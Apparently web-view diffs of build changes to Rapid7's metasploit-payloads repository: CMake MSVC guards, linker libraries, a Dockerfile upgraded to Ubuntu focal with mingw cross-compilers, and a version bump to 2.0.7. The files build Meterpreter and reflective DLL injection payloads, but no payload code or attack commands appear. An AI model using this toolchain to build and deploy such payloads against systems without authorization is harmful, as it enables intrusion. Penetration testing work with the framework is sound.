set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE) set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
endif()
set(LINK_LIBS
netapi32
mpr
ws2_32
)
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS}) target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
if(MSVC) if(MSVC)

View File

@ -314,4 +314,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>

View File

@ -7,7 +7,9 @@ add_definitions(
-D_CRT_SECURE_NO_WARNINGS -D_CRT_SECURE_NO_WARNINGS
) )
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /GF /Gy /TP /MP") if(MSVC)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /GF /Gy /TP /MP")
endif()
set(SRC_DIR ../../source/jpeg-8) set(SRC_DIR ../../source/jpeg-8)
set( set(

View File

@ -54,6 +54,7 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Common", "Common", "{EDE086
..\source\common\common_command_ids.h = ..\source\common\common_command_ids.h ..\source\common\common_command_ids.h = ..\source\common\common_command_ids.h
..\source\common\common_config.h = ..\source\common\common_config.h ..\source\common\common_config.h = ..\source\common\common_config.h
..\source\common\common_core.h = ..\source\common\common_core.h ..\source\common\common_core.h = ..\source\common\common_core.h
..\source\common\common_exports.h = ..\source\common\common_exports.h
..\source\common\common_list.h = ..\source\common\common_list.h ..\source\common\common_list.h = ..\source\common\common_list.h
..\source\common\common_metapi.h = ..\source\common\common_metapi.h ..\source\common\common_metapi.h = ..\source\common\common_metapi.h
..\source\common\common_pivot_tree.h = ..\source\common\common_pivot_tree.h ..\source\common\common_pivot_tree.h = ..\source\common\common_pivot_tree.h

View File

@ -11,10 +11,12 @@ add_definitions(
-D_CRT_SECURE_NO_WARNINGS -D_CRT_SECURE_NO_WARNINGS
) )
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP") if(MSVC)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
endif()
include_directories(../../source/common) include_directories(../../source/common)
include_directories(../../source/ReflectiveDllInjection/common) include_directories(../../source/ReflectiveDLLInjection/common)
set(SRC_DIR ../../source/metsrv) set(SRC_DIR ../../source/metsrv)
file(GLOB SRC_FILES file(GLOB SRC_FILES
@ -23,15 +25,21 @@ file(GLOB SRC_FILES
) )
add_library(${PROJECT_NAME} SHARED ${SRC_FILES}) add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH}) set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/metsrv.def\"") if(MSVC)
set_source_files_properties(${MOD_DEF_DIR}/metsrv.def PROPERTIES HEADER_FILE_ONLY TRUE) set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/metsrv.def\"")
set_source_files_properties(${MOD_DEF_DIR}/metsrv.def PROPERTIES HEADER_FILE_ONLY TRUE)
endif()
set(LINK_LIBS winhttp wininet crypt32) set(LINK_LIBS winhttp wininet crypt32)
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
if(MSVC) if(MSVC)
target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070")
else()
set(LINK_LIBS ${LINK_LIBS} ws2_32)
endif() endif()
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
# Post processing (required for all Meterpreter DLLs) # Post processing (required for all Meterpreter DLLs)
editbin(${PROJECT_NAME} ${BIN_SUBSYSTEM}) editbin(${PROJECT_NAME} ${BIN_SUBSYSTEM})
copyoutput(${PROJECT_NAME} ${BIN_OUTPUT_DIR}) copyoutput(${PROJECT_NAME} ${BIN_OUTPUT_DIR})

View File

@ -1,7 +1,7 @@
# To build the dev environment. # To build the dev environment.
# docker build -t rapid7/build:meterpreter . # docker build -t rapid7/build:meterpreter .
FROM ubuntu:14.04.5 FROM ubuntu:focal
MAINTAINER Brent Cook <bcook@rapid7.com> (@busterbcook) MAINTAINER Brent Cook <bcook@rapid7.com> (@busterbcook)
ENV DEBIAN_FRONTEND noninteractive ENV DEBIAN_FRONTEND noninteractive
@ -11,16 +11,22 @@ RUN apt-get update && \
apt-get dist-upgrade -y && \ apt-get dist-upgrade -y && \
apt-get -y install software-properties-common && \ apt-get -y install software-properties-common && \
dpkg --add-architecture i386 && \ dpkg --add-architecture i386 && \
apt-add-repository ppa:ubuntu-wine && \
apt-get update && \ apt-get update && \
apt-get -y install \ apt-get -y install bison flex gcc gcc-multilib jam make wget \
wine php5-cli python python3 \ ruby rake bundler git \
bison flex gcc gcc-multilib jam make wget \ mingw-w64-x86-64-dev mingw-w64-i686-dev \
ruby rake bundler git \ g++-mingw-w64-i686 g++-mingw-w64-x86-64 \
maven openjdk-7-jdk && \ gcc-mingw-w64-i686 gcc-mingw-w64-x86-64 \
cmake \
maven \
wine python python3 \
openjdk-8-jdk \
php-cli && \
apt-get clean && \ apt-get clean && \
rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
RUN update-java-alternatives --set java-1.8.0-openjdk-amd64
# Android NDK # Android NDK
RUN wget http://dl.google.com/android/ndk/android-ndk-r9d-linux-x86_64.tar.bz2 && \ RUN wget http://dl.google.com/android/ndk/android-ndk-r9d-linux-x86_64.tar.bz2 && \
tar -xvf android-ndk-r9d-linux-x86_64.tar.bz2 && \ tar -xvf android-ndk-r9d-linux-x86_64.tar.bz2 && \
@ -41,7 +47,7 @@ RUN echo y | /usr/local/android-sdk/tools/android update sdk --filter android-3
# Pre-cache Maven artifacts # Pre-cache Maven artifacts
RUN git clone https://github.com/rapid7/metasploit-payloads.git && \ RUN git clone https://github.com/rapid7/metasploit-payloads.git && \
cd metasploit-payloads/java && make && cd .. && rm -fr metasploit-payloads cd metasploit-payloads/java && make ; cd .. && rm -fr metasploit-payloads
ENV ANDROID_HOME /usr/local/android-sdk ENV ANDROID_HOME /usr/local/android-sdk
ENV ANDROID_NDK_HOME /usr/local/android-ndk ENV ANDROID_NDK_HOME /usr/local/android-ndk

View File

@ -1,6 +1,6 @@
# -*- coding:binary -*- # -*- coding:binary -*-
module MetasploitPayloads module MetasploitPayloads
VERSION = '2.0.6' VERSION = '2.0.7'
def self.version def self.version
VERSION VERSION